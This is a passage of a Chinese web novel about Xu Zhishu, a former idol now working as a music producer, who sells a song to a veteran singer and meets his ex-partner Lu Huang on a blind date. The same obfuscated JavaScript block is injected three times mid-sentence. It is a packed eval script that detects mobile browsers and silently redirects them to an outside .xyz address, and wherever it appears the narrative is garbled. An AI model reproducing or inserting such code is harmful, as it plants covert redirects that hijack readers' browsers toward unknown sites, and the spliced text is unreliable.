工作忙的时候还好,像现在这样他一个人待着思考问题,控制不住想到许稚舒时,那种无力感又会回笼。无论他对外如何强硬,在许稚舒的问题上,总还是不自觉柔软的。也许在别人看来,这是自己给自己找了个软肋,可他们路家人都是情种,没办法的事。 之后几天,左思珈那边都没动静。许稚舒就默认这次合作是黄了,因为贺漾跟他说考虑参加音乐节目,许稚舒目前不至于没事可做,倒也没纠结这件事。 周末没有安排,吃过早饭后,许稚舒就去了工作室——他现在不能让自己闲下来,即便不那么忙,也还是要做些什么,让自己不去想路煌。 不是工作日,工作室前的整条街道都空落落的,所以工作室门前停了一辆车就格外显眼,许稚舒也很快认出来,那正是左思珈的车。 许稚舒没有直接转进停车场,而是停在了那辆车后面,随后下车走过去,轻轻敲了敲车窗。 车窗压下来,左思珈的表情是掩饰不住的复杂,有惊讶,有犹豫,还有一点不好意思。 “左老师,又见面了。工作室今天没人,车子没办法直接进停车场。”许稚舒给她递了台阶,就像两个人是早就约好了一样,只是左思珈来早了,没能进去。 左思珈笑了笑,许稚舒给了她面子,她领情,却不会觉得是理所应当的:“想再和你聊聊,方便吗?” “当然。” 许稚舒用钥匙打开独立停车场的栅栏,让左思珈先进,自己随后也开车停了进去。 两个人一起往楼上走,许稚舒说:“今天只能请你喝外卖咖啡了,可以吗?” “可以。”左思珈没拒绝,想认真谈的意思已经很明显了,“既然是休息日,你怎么还来上班了?” 如果不是许稚舒来了,她在门口纠结一会儿,可能就离开了。毕竟她想突破的心还是没彻底死掉,否则不会选择周末过来。可许稚舒却突然出现了,就好像冥冥之中有股力量在告诉她,到底怎么走才是对的。 “没别的安排,最近灵感又挺多的,就过来写一会儿歌。”许稚舒没带她去办公室,而是去了音乐室。其实他是图省事,等他离开时,只收拾这一个地方就行了。 “随便坐。”许稚舒请她随意,自己则拿出手机,快速点了咖啡。 左思珈打量着音乐室里的各种乐器,她真没在别的音乐人那里见过这么多乐器,很多人都是一台琴就搞定了。毕竟合成器可以模拟出各种音色,没必要一定要有实物。实在要用的话,现借也行。 “这些乐器你都会?”左思珈好奇地问。这些年她从未疏于保养,即便与许稚舒有十多岁的年纪差,也还是带有一些少女感的。 “嗯。”许稚舒微微点头。 “这么多,你是怎么有空学的?” “我从小就学钢琴,基础打得好。出道后一有假期就会去学别的乐器,上手快,自然学得也多。不过要说精通,肯定算不上。”许稚舒从不否认自己学得杂而不精,主要在他看来,他能用得上,就可以了。 说起来,他学每一门乐器的老师都是路煌给他找的,这些老师水平都很高,有自己的一套教学方法。教他入门可以说轻而易举,所以并没花特别多的时间。 “难怪你的歌会用那么多管弦乐,合成器用得很少。”左思珈是不懂编曲的,可这两天她和一个音乐人聊起许稚舒,对方倒是给了许稚舒很高的评价。不是说少用合成器音色就高级,而是许稚舒知道什么样的乐器能更好地展现他想表达的东西,这就需要音乐人有天分又要有非常大的耐心的去打磨。 “这算是我的一点小偏执,我不太喜欢合成器做出来的效果。”所以他的歌如果唱功不好,是真的唱不了。好在他们组合五个人没有一个唱功差的,他的歌才能被收录那么多首。 把音乐室的电源都打开,许稚舒才坐下:“左老师是对下次回归有了新想法吗?” 左思珈没有遮掩地说:“我的经纪人很赞同你之前的说法,觉得我应该回归到最开始的风格中。虽然我现在还没有办法百分之百认同,但我与其他音乐人聊过,他们对我的新歌都没有更好的想法。所以我还是想再找你聊聊。” 许稚舒很理解左思珈现在这种既着急,又怕心急吃不了热豆腐的心情。 “左老师,现在各大公司推出的歌手都以团体为主,在包装上是概念等于人设大于实力。你可能看到了这些团体的成功,所以对自己的风格产生了怀疑,想往那个方向靠。但那套玩法真的不适合你。 “你早期的音乐作品到现在还是被我放在循环列表里,我能在那些音乐里听到一种陪伴感,而不是树立一个人设,等待别人来追捧。你的粉丝在与你相当的这个年纪里肯定会遇到一些疑惑、虚无或者无奈,他们需要你通过歌曲的表达疏解他们的情绪,我认为这也是音乐必须存在的原因之一。 “可能以我现在的年纪跟你说这些话,你会觉得我天真,是在挑战 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16442931|185046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当下的市场,甚至可以说是想走回头路。可每个歌手都有自己的特质,如果大家都迎合市场拧着特质来,那音乐就会同质化,这条路也会越走越窄。” 左思珈耐心地听许稚舒说完,沉默了片刻,说:“我已经很久没有遇到让我觉得心动的歌了。” 许稚舒笑说:“左老师,你不是应该做快餐音乐的歌手。虽然这条路很难,但你有这个实力走你自己的路。今天如果是哪个公司为旗下的团来找我邀歌,我都不会考虑这么多,也不会说这些。” 手机响了,外卖的电话打断了左思珈想说的话。 许稚舒请她稍等,就下楼去拿咖啡了。 左思珈被许稚舒刚才的话说得心潮波动,回想起来,正如她自己说的,她很久没遇到让自己心动的歌了。记得刚出道那几年,每一首歌都让她会有“这首歌歌词写得太好了”“曲调很好记,又好听”“好想尽快做出成品”之类迫不及待想投入工作的冲动。 拿上外卖,许稚舒正准备进门,贺漾的电话就打来了。 “大消息!”许稚舒一接通,那头贺漾就迫不及待地直奔出题。 “什么大消息?”许稚舒笑问他。 “我昨天晚上跟长清通电话,他说路煌接手了初黎娱乐。”贺漾并不是想八卦什么,可得到消息必须要跟许稚舒分享的心情根本按捺不住。 说起来,抛开许稚舒和路煌的关系,在团里,路煌跟单长清更聊得来。单长清喜欢说话,却不是乱聊的那种,尤其聊正事,是非常有逻辑的,甚至能给出不错的建议。 “这样啊。”许稚舒明显是不打算追问,即便他也很惊讶。 贺漾不是为了揭许稚舒的伤疤才频繁跟他提路煌的,只是他还不能完全接受两个人已经分手的事实。 贺漾:“我是在想,他可能会找你邀歌,所以觉得提前跟你说一声比较好。” 许稚舒也不知道自己是自嘲,还是笑贺漾搞不清状况,依旧为他操心,总之他笑出了声,回道:“他不会找我的。” 贺漾显然不这么想:“初黎那个经营状况也不知道他怎么想的,居然会接手。他如果想力挽狂澜,找你是最保险的吧?” 许稚舒微微叹了口气,玩笑道:“他找我才是最不保险的。万一我心存怨恨,有心报复,初黎娱乐岂不是雪上加霜?” “你才不会。”贺漾笃定道。 许稚舒笑意浅了些:“说实话,我不希望他找我。干脆一点,对我和他都好。” 贺漾这才觉察自己似乎不应该给许稚舒打这个电话,语气低落下来:“嗯,以后我不跟你说他的事了。” 许稚舒没说好,也没说不好,只说:“我还有工作,先不和你说了。等你回来给我打电话,我去接你。” “好!” 挂了电话,许稚舒上楼,一推开音乐室的门,就听到音响里传出他录的Demo,是那天与路煌吃饭,他失眠后在家里写的歌。 而此时的左思珈正站在那里,全神贯注地听着歌,眼里透出了明显的光。 9. 第9章 “这首歌是你写的?”左思珈已经顾不上别的了,连忙问他。 “对。”许稚舒并未在意左思珈打开音响的行为,那台音响本来就是用来随便放些音乐的,跟他连接的平板也没设密码,想的就是谈工作休息的间隙,可以让客人自己选歌放松的。 “卖了吗?”左思珈眼神都带上了急切,“我很喜欢这首歌,感觉像是我以前肯定会第一时间定下来的歌曲风格。可以卖给我吗?” 许稚舒却犹豫了,他没有立刻回答,而是把咖啡拿出来,放到左思珈面前。随后打开自己那杯,慢慢喝了几口。 见他不说话,左思珈有点着急了,她真的太久没遇到这样让她心动的歌了。从音乐到歌词,没有一点不喜欢的,她甚至能一秒get到歌曲要表达的情绪。 “已经卖了吗?”左思珈追问。 许稚舒整理了情绪,才回:“没有。但这首歌我暂时没准备卖。” 这首歌的名字是《爱与不爱之间》,歌词里透露了太多他的情绪。如果路煌还会听他写的歌,或许会因为他表达的情绪受到影响,这是他不愿看到的。 “为什么?” 许稚舒借口说:“制作上还不成熟。” “这还不成熟?我觉得好得很!”左思珈明显是想继续争取的,“我觉得这首歌放在秋天发行,再合适不过了。你说我应该给予粉丝陪伴感,这首歌就完美符合啊。如果我的粉丝中有因感情不顺纠结的,我相信这首歌能帮她们很好地释放情绪。” 许稚舒再次沉默,《爱与不爱之间》交给左思珈唱,会是一个非常好的选择,甚至会是一个双赢的局面。可有的时候情绪上头了,他真的会有顾虑。 “我再考虑一下。”许稚舒说。 见他表情不太好,左思珈不知缘由,却能理解这中间恐怕有她不知道的情况。如果她和许稚舒认识得够早,她肯定会直接问,有什么困难她也愿意帮。可现在她除了对许稚舒的音乐有了解,别的几乎空白,根本没立场让许稚舒对她知无不言。 “好,我等你消息。如果你不想卖,我不会勉强;但如果要卖,一定先考虑我。”左思珈继续为自己争取。 这次许稚舒没有犹豫地应了。 送走左思珈,许稚舒没有立刻上楼。外面的天气不知什么时候阴了下来,上次左思珈来也是阴天。 许稚舒站在小院内,看着外面的街景,他知道自己此刻情绪不好,却没有深想,只是安静地站着,用外面的绿色抚慰心里的情绪。 啪嗒,吧嗒—— 几滴雨砸到许稚舒脸上,眨眼的工夫就倾泻而下。他赶紧进到大门内,从前台抽了几张纸巾简单擦了擦。 一阵风吹起,疾雨拍在玻璃上,斑斑点点,将风景切割得像是万花筒中缤纷的色块,也像许稚舒现在的心情,零碎得拣不到一块完整的快乐。 * 八月最后一天,贺漾结束工作回来了。没泄露行程,避免粉丝接机,只有许稚舒,准时准点地在接机口等他。 看到许稚舒,贺漾赶忙挥了挥手。 许稚舒冲他一笑,素面朝天的脸对上穿搭完整的贺漾,也没有被比下去。 周末的大雨带来的凉爽持续到今天,贺漾穿了一件真丝渐变灰的深V领衬衫,白色休闲裤加单鞋,是坐飞机舒适的关键。项链、手链、戒指这些用来装饰的一个不少,染成浅金的头发在脑后随意扎了一下。墨镜遮住了眉眼,却依旧是好看的。 “走走走,咱们先去吃饭,餐厅我昨天晚上就预定好了。”贺漾只背了个包,行李会由团队帮他带回来,为了尽快和许稚舒见面,贺漾比团队其他人提前一天回来。 “行。”许稚舒今天起晚了,吃了个水煮蛋就出门了,他想着等他们开回市里,正好是午饭时间。 “快看,那是许稚舒?旁边那个看起来是贺漾。” “我靠,真是他们!” “本人可真好看啊。” “要不要去要签名啊?” “没带纸笔呀!” 两个人还是太过显眼,就算许稚舒今天根本没收拾,衣服也不过是T恤加牛仔裤,还是架不住气质出众,总会惹人多看几眼,人多了自然就有人认出了他们。 “你下次去人多的地方还是戴副墨镜吧。”贺漾提醒。之前在团里,唯粉们会撕主唱、主舞、ACE,却并没有人撕门面,在脸这方面,许稚舒就是毫无争议的。 “我现在可是路人了,不过下次如果来接你,我会记得戴。”许稚舒真没想到还有人会关注到他。 “赶紧走。”贺漾拉了许稚舒一把。现在非团队组织的场合,像贺漾这样的艺人是不随便签名合影的,为了不被说耍大牌,还是赶紧走为好。 好在两个人都是轻装上阵,没一会儿,就离开了视线中心。 贺漾想去的餐厅位于酒店楼上,风景倒是其次,重点是餐厅从昨天开始推出的季节限定蟹黄面。每年就卖三个月,蟹都是当天现抓现蒸的,而且是全手工剥蟹,小小一碗,全是精华。就算现在不是蟹最肥美的时候,也敌不住初秋吃蟹的心。 “欢迎光临。”出了电梯,餐厅服务员迎上来。 贺漾报了预约用的手机号。 “好的,两位这边请。” 工作日的中午,餐厅吃饭的人不多。服务员将两人往窗边引,预约的好处除了必然能吃到想吃的,还有就是座位一般都比较好。 刚走近,两个人就看到了熟悉的人影——路煌。 而此时,路煌对面坐着一位二十出头的女性,只是一个侧脸,看不全长相,一身小香风的套装,气质很好,长发散于背上,绸缎般的光泽感一看就是精心保养的。 路煌一抬眼,也看到了他们。双方都是一愣,路煌随即移开视线,继续跟女生说话,很有风度。 贺漾则转头看了看许稚舒,小声说:“我们换一家餐厅吧。” 如果路煌主动跟他们打招呼,贺漾也不会想拉许稚舒走。现在这样,贺漾反而不能不顾许稚舒的心情。 许稚舒一笑:“不用。坐下来看不到的。” 靠窗的桌子之间是特地做了矮屏遮挡的,谁都不影响谁。 见许稚舒已经坐下来了,贺漾也没再劝,好在两桌之间还隔了一张桌子,说话不用担心被听到。 贺漾很快点好了餐。如果不是在这儿遇到了路煌,贺漾或许会问一句两人有没有联系。现在见到人了,路煌的态度让他一时摸不准,不提是最好的。 于是他说起了音乐节目的事,这期间菜品陆续送上来,两个人边吃边聊。 “这档节目的第一季反响很不错。”当时活动多,许稚舒不是追着看的,而是一整季都结束后,他趁着假期专挑演唱的部分看了。至于点评和投票环节他都略过了,比起别人怎么评价,他更遵从自己内心的评价标准。 “嗯,我的经纪人也是因为第一季还不错,没有什么撕逼大战,才跟我说了节目组的邀请。你觉得我适合参加这个节目吗?”如果要论在音乐上的专业性,贺漾肯定是会问许稚舒的。 许稚舒考虑了片刻,说:“我们还不清楚第二季节目组都邀请了谁,又有谁会愿意参加,现在凭空给你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16442932|185046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 排实力没有意义。你有优势是声音有辨识度,唱歌也稳,唯一的短板是飙高音,你不占优势。” 贺漾一边给许稚舒夹菜一边认真听,在许稚舒说到点上时,也不住地点头。 “不过现在观众听得音乐节目多了,对一味地没有感情的飙高音也会厌烦,所以别人的长处也可能变成短处。”许稚舒继续说,“抛开这些不谈,就你个人的情况,我认为你可以去参加这个节目。现在你单飞,需要通过节目在音乐市场站住脚,而不是吃老本。这一点咱们几个都是一样的。” “对,我也觉得机会难得。可如果一轮游就太丢人了吧。”万一如此,那就是群嘲的结果了。 “不至于。”毕竟当了这么多年队友,贺漾的实力许稚舒是知道的,“你不要去比高音,而是去比嗓音的辨识度。如果再能适当地加入声乐技巧的运用,让歌曲听感上舒适有灵性,也会有不错的效果。” “你能帮我做吗?”这才是贺漾最想要的。 “当然可以。”许稚舒没有拒绝的理由,而且对他来说不是难事。 “太好了!那我就让经纪人回话了。”贺漾把高兴都写脸上了,比起别人,他认为许稚舒更能帮他展现出个性。 许稚舒微笑着点头。 “合同我直接找阿言谈?”贺漾问。亲兄弟也得明算账,他不可能让许稚舒白帮他干。 “行。” 贺漾殷勤地给他夹菜:“多吃点,吃好了脑子灵,能有更多好点子。” “不吃我脑子也挺灵。” “那就更灵一点。” 蟹黄面上来,味道的确好,新鲜的蟹只有鲜香,一点腥气都没有。一小碗面刚见底,路煌那边就准备离开了。 既然一开始就没打招呼,许稚舒和贺漾都装作没看见。 “诶?路哥,是你的前队友啊。” 三个人都没有要打招呼的意思,没想到却被跟路煌一起的女生认出来了。 “啊,这么巧啊。”贺漾并不指望许稚舒,自己演起了偶遇的惊喜。 “嗯。”路煌微微点头,目光落在了许稚舒身上。 许稚舒却没看他,而是在看那个女生。 话不能落地上,贺漾主动问路煌:“今天不忙吗?” “不忙。”他都在这儿了,说忙未免太假了。 女生也不见外,笑道:“你们好,我虽然不是你们的团粉,但也算路人粉。能见到你们本人很高兴。” 她都开口了,贺漾总不能无视她,只能问路煌:“这位是?” 路煌眉心微微收紧,似乎不知道怎么答。 倒是女生痛快道:“我是路哥的相亲对象。” 几乎是本能的,贺漾不受控制地看向许稚舒。 许稚舒很平静,气氛突然安静容易让女生多想,于是他很自然地接过话:“幸会。” 女生没察觉任何不妥,大大方方地笑着:“很高兴见到你们。” “你们慢慢吃,我们先走了。”路煌打断了继续聊下去的可能。 女生礼貌地冲两人点头道别,就跟着路煌一起离开了。 贺漾重新落座,却没了吃饭的胃口,想跟许稚舒说点什么,又怕伤着许稚舒。如果路煌没有相亲,贺漾还愿意相信许稚舒和路煌有和好的机会。现在,是真的要认清现实了。 见他一脸萎靡,许稚舒笑起来:“你那是什么表情?” 贺漾不知道说什么,好像说什么都不对。 许稚舒把剩下的一只煎包夹给他,说:“这样挺好,他在往前走了,我也该往前走了。” 10. 第10章 回到家,许稚舒仰躺在沙发上,似乎只有这样,才能让他觉得不那么累。 有时他会觉得上天在跟他开玩笑,明明分手后,源海市那么大,两个人应该没有碰面的机会了,却在短短不到半个月的时间里遇到了两次。 而今天的见面既让他觉得难受,又觉得欣慰。路煌回到了属于他的正轨上,他应该替路煌高兴。同时他自己也应该能松口气,在歌曲的发布上不用顾虑那么多了,毕竟路煌已经走入了新阶段,不会再回头了。 可道理懂得再多,他心里的不舒服也只有他自己知道。他告诉自己,这些情绪是可以存在的,他需要时间,只是身在其中,熬时间就成了看不到头的修行。 躺到腰酸,许稚舒才慢慢坐起来,随即拿出手机给左思珈发了消息,说歌曲可以卖给她。 他总要抓住点什么,才能在情绪的旋涡里得以生存。 左思珈几乎是秒回,表示明天就找他谈合同。 许稚舒无声地笑了笑——看,他也走出了向前的一步,真好。 在他默默消化情绪的同时,热搜上可就热闹了。 有人在机场拍到了许稚舒给贺漾接机,两个人一起离开的照片。这对许稚舒的粉丝来说可以说是渴了多日,终于看到了绿洲,那种救赎感和兴奋感从骨头缝里迸发出来。 照片上,贺漾保持着idol的素养,穿衣打扮都没落下,也是他素来喜欢的带着点华丽风格的打扮,无可挑剔。而跟他走在一起的许稚舒明显已经是素人的打扮了。可越是如此,他那张脸就越显得出众。 于是#许稚舒素颜天才#的话题直接冲顶。 【啊啊啊,我的小许!!!还是这么好看!!】 【你跟我说这是素颜?】 【皮肤状态也太好了。小许美得会让我觉得自己保养得很糙。】 【这张脸要是睡在我旁边,我每天早起都能笑醒!】 【此处应该@路煌,但路煌退网了QAQ。】 【为什么要转幕后啊,我的眼泪都要流干了,好想看你在舞台上的样子。】 【之前是跟路煌一起被拍到,现在是跟贺漾一起。虽然都不是稚舒单独的消息,但能看到就很安慰了。】 【这张脸还是这么能打。上次被拍到因为天黑没看清楚,今天这张看起来瘦了一些。】 【是啊,都转幕后了,日子不是应该更轻松吗?怎么还瘦了?】 【自己单干,要操心的东西多了吧?牛马很理解这种辛苦。】 【还是希望稚舒能好好照顾自己,别被欺负了。】 【哎,虽然很难看到他的消息了,可转幕后也好,继续在台前才容易被盯上。】 话题的热度持续了好久,足见许稚舒的人气。 * 之后十多天,许稚舒都投入到了左思珈新歌的录制上。这次歌曲的词、曲、编曲、录制和后期全部交给了许稚舒来做。 许稚舒工作室的设备让左思珈的经纪公司都无法挑剔,能做的就是把钱给得足足的,让许稚舒放心完成制作。 不过大公司在营销上也会下些功夫,有自己习惯的方式。比如这次,他们就用了许稚舒和左思珈合作作为噱头,为歌曲的宣传打响了第一枪。 许稚舒在Infinite时的影响力还完全散掉,很多许稚舒的唯粉并没出走,反而一心期待许稚舒的作品,只看之前许稚舒的素颜热搜能直接冲到第一位,就可见一般了。 对此,许稚舒并没有任何不满,只要不是过度营销,对给他提升在音乐制作方面的知名度是有好处的。也督促他一定要把该做的事做好。 对于左思珈的粉丝来说,许稚舒只是个年轻的音乐制作人,左思珈连年走下坡路,粉丝们的期待值已经不敢拉太满了。 可对许稚舒的粉丝来说,是铆足了劲儿等新歌的。能跟前辈合作,是对许稚舒的肯定。只不过之后就没有更多相关消息透露了,让许稚舒的粉丝很着急。 入夜,路家—— 路煊醒来,发现自己睡在了书房,原本只是想小眯一会儿,没想到睡过头了。陈玉欣出门旅行不在家,没人叫他。 看了一眼时间,已经半夜两点了。他捏了捏眉心,起身下楼喝水。 刚下到一楼,就看到小客厅的灯亮着。小客一般是他们的母亲或者陈玉欣请一两个朋友来家里做客闲聊的地方。比起大客厅,那里感觉更温馨一些,阳光也好,是下午茶的首选地。 路煊以为佣人忘记关灯了,走过去一看,才发现是路煌坐在那里,茶几上放了一个空的红酒瓶,醒酒器里的红酒没剩多少,他杯子里还有小半杯。 如果是以前,路煊肯定要说路煌几句,大半夜不睡觉,在家里喝酒,实在不像话。可现在,他真的没办法指责弟弟。 光影的变化让路煌注意到了路煊,可能是酒精让他的反应变慢了,一时没有隐藏住惊讶的情绪。但还是很快摆出一副随意的状态,道:“哥,你还没睡?” “应该我问你吧?”路煊走过去坐到他旁边。 路煊和路煌个头差不多,但路煊的五官要稍微柔和一些。这就会给人好相处的第一印象,在谈生意上是很占便宜的。只不过跟路煊打过交道的才知道,这个男人非常难对付。 路煌没有回答,只是把话题的对象又推回到路煊身上:“大嫂要知道你这么晚还不睡,肯定要说你。” 路煊看着已经有了醉意的路煌,不想让他再喝了,便随手把酒杯推远了些:“我偶尔晚睡一次没什么,倒是你,是今天睡不着,还是失眠有一段时间了?” 路煌没有正面回答,只说:“哥,你什么时候也开始关心这种琐碎的事了?” “你刚开始接手家里的事,有压力是正常的。但还是要注意身体,爷爷不愿意你待在娱乐圈,就是那个圈子作息实在太不稳定了。”路煊很清楚路煌为什么睡不着,肯定不是因为工作的原因。可如果他现在把这层遮掩揭掉,路煌恐怕更睡不着了。倒不如聊些别的,让路煌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16442933|185046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少去想,反而会好一些。 “嗯,正在适应。”路煌回得很简短。 路煊胸腔起伏出明显的呼吸状态:“初黎娱乐现在上手了吗?” 路煌回来主要接手的是家里主营投资的公司,他也没想到爷爷收了个娱乐公司丢给路煌。 “嗯,在按章程做事了。不过它不可能成为家里主要的收入来源,只要能维持自身发展,别钱砸进去看不到水花就行了。”路煌知道怎么才能让初黎可能击起漂亮的水花,可如果那样,他真的很难满足家中的期待了。 “嗯。”路煌手里的部分路煊不参与,除非路煌需要他帮忙。 夜深人静,明明是很好的聊天机会,路煊却在起完头后,没办法继续了。他知道自己应该问一问路煌和许稚舒现在的状态,如果能为许稚舒做些什么,他不会拒绝。可他开不了口,因为自己和陈玉欣的问题,把压力全给到了路煌身上,他作为兄长,觉得愧疚。 而路煌这段时间都在相亲,他也可以问问有没有路煌喜欢的,却又没这个脸。 最后还是路煌看出了路煊多次的欲言又止,起身道:“时间不早了,咱们都回房间休息吧。” 路煊这才觉得解脱了。 * 许稚舒的进度完全按照预计的进行,后期许稚舒还在磨一磨,但已经给了左思珈一版,供她拍MV用。 拿到让自己完全能情感投入的歌,左思珈回到了自己的舒适区,带来的结果就是她工作格外积极,以前都是团队给她安排工作的时间,现在是她催着团队赶紧干活,她要尽快发歌。 上午十点,许稚舒准时来到工作室。今天除了左思珈新歌的后期,他也要开始为贺漾上节目的歌做新编曲了,工作还挺多。 “哥,咖啡。”乐言把刚做好的咖啡送到音乐室。 “谢谢。”许稚舒接过喝了一大口,醇香的咖啡豆让他心情舒畅。 “哥,有件事得跟你说一声。”乐言对现在的工作已经得心应手,一些可能与工作有关的小事,他也会挑出来跟许稚舒提一嘴。 “说吧。”许稚舒边问边将键盘和电脑都打开。 “安芷也要发新歌了,时间比左老师早一天。”乐言是今天早上看到的消息。 安芷比左思珈小三岁,却比左思珈出道晚了许多。左思珈开始走下坡的时候,正是安芷的上坡路。安芷舞蹈实力一般,但歌唱得不错。两个人都是solo女歌手,年纪又没差多少,自然会被拿出来比较。 近年来安芷发歌没有那么勤,但每一首反响都不错。这次两个人撞期,肯定又会被拿出来比较。 更重要的是,安芷是纬弦娱乐的艺人。虽然作为续约歌手,自己手里的权力更大一些,却依旧是纬弦娱乐可以拿出来说的王牌。 杨阅接手纬弦娱乐时已经扬言要对标Infinite做男团,眼下男团还没推出,却在没有任何前期铺垫的情况下宣布了安芷的回归日期,不得不让许稚舒怀疑这一手是不是故意的。